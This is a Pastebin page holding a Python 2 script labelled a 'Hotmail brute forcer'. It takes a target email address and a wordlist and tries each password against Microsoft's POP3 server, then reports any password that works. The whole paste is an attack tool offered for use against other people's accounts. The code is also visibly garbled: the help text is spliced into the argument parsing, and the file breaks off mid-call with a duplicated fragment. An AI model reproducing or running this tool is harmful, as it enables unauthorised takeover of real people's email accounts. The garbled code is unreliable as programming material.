SHARE
TWEET

Untitled

a guest Mar 26th, 2020 249 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. # -- coding: utf-8 --
  3. # Hotmail brute forcer
  4. #Coded By R00T
  5.  
  6. import sys, poplib, time
  7.  
  8. log = "hotmailbrute.log"
  9. file = open(log, "a")
  10. counter = 0
  11. face = '''
  12. _ _ _ _ _ __
  13. | |_ __ | |_ _ _ __ _ _() | | |__ / _|
  14. | '_ \ / _ \| _| ' ` _ \ / ` | | | | ' \| |_
  15. | | | | () | || | | | | | (| | | | | |) | _|
  16. || ||\__/ \|| || ||\_,||| |./||
  17.  
  18. Hotmail brute forcer
  19. '''
  20.  
  21.  
  22. help = '''
  23. Usage : ./hotmailbf.py -u [email] -w [wordlist]
  24. Example : ./hotmailbf.py -u victime@hotmail.com -w wordlist.txt
  25. '''
  26.  
  27. for arg in sys.argv:
  28. if arg.lower() == '-u' or arg.lower() == '--user':
  29. email = sys.argv[int(sys.argv.index(arg))+1]
  30. elif arg.lower() == '-w' or arg.lower() == '--wordlist':
  31. wordlist = sys.argv[int(sys.argv[1:].help = '''
  32. Usage : ./hotmailbf.py -u [email] -w [wordlist]
  33. Example : ./hotmailbf.py -u victime@hotmail.com -w wordlist.txt
  34. index(arg))+2]
  35. elif arg.lower() == '-h' or arg.lower() == '--help':
  36. print face
  37. print help
  38. file.write(face)
  39. file.write(help)
  40.  
  41.  
  42. #Change these if needed.
  43. HOST = 'pop3.live.com'
  44. PORT = 995
  45.  
  46.  
  47. try:
  48. preventstrokes = open(wordlist, "r")
  49. words = preventstrokes.readlines()
  50. count = 0
  51. while count < len(words):
  52. words[count] = words[count].strip()
  53. count += 1
  54. except(IOError):
  55. print "\n[-] Error: Check your wordlist path\n"
  56. file.write("\n[-] Error: Check your wordlist path\n")
  57. sys.exit(1)
  58. def definer():
  59. print "-" * 60
  60. print "[+] Email : %s" % email
  61. print "[+] Wordlist : %s" % wordlist
  62. print "[+] Length wordlist : %s " % len(words)
  63. print "[+] Time Starting : %s" % time.strftime("%X")
  64. print "-" * 60
  65. file.write ("\n[+] Email : %s" % email)
  66. file.write ("\n[+] Wordlist : %s" % wordlist)
  67. file.write ("\n[+] length wordlist : %s " % len(words))
  68. file.write ("\n[+] Time Starting : %s" % time.strftime("%X"))
  69.  
  70. def main(password):
  71. global counter
  72. sys.stdout.write ("[-] Trying : %s \n" % (password))
  73. sys.stdout.flush()
  74. file.write("[-] Trying : %s \n" % (str(password)))
  75. try:
  76. pop = poplib.POP3_SSL(HOST, PORT)
  77. pop.user(email)
  78. pop.pass_(password)
  79. pop.quit()
  80. print "[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password)
  81. file.write("[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password))
  82. sys.exit(1)
  83. except Exception, e:
  84. pass
  85. except KeyboardInterrupt:
  86. print "\n[-] Aborting...\n"
  87. file.write("\n[-] Aborting...\n")
  88. sys.exit(1)
  89. counter+=1
  90. if counter == len(words)/5:
  91. print "[+] Hotmailbruteforcer 20% way done..."
  92. print "[+] Please be patient..."
  93. file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
  94. file.write("[+] Please be patient...\n")
  95. elif counter == len(words)/4:
  96. print "[+] Hotmailbruteforcer 25% way done..."
  97. print "[+] Please be patient..."
  98. file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
  99. file.write("[+] Please be patient...\n")
  100. elif counter == len(words)/2:
  101. print "[+] Hotmailbruteforcer on 50% done..."
  102. print "[+] Please be patient..."
  103. file.write("[+] hotmailbruteforcer on halfway done...\n")
  104. file.write("[+] Please be patient...\n")
  105. elif counter == len(words):
  106. print "[+] Hotmailbruteforcer done...\n"
  107. file.write("[+] Hotmailbruteforcer done...!\n")
  108.  
  109. if _name_ == '_main_':
  110. print face
  111. file.write(face)
  112. definer()
  113. for password in words:
  114. main(password.replace("\n",""))
  115. main(passwo
  116.  
  117. help = '''
  118. Usage : ./hotmailbf.py -u [email] -w [wordlist]
  119. Example : ./hotmailbf.py -u victime@hotmail.com -w wordlist.txt
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top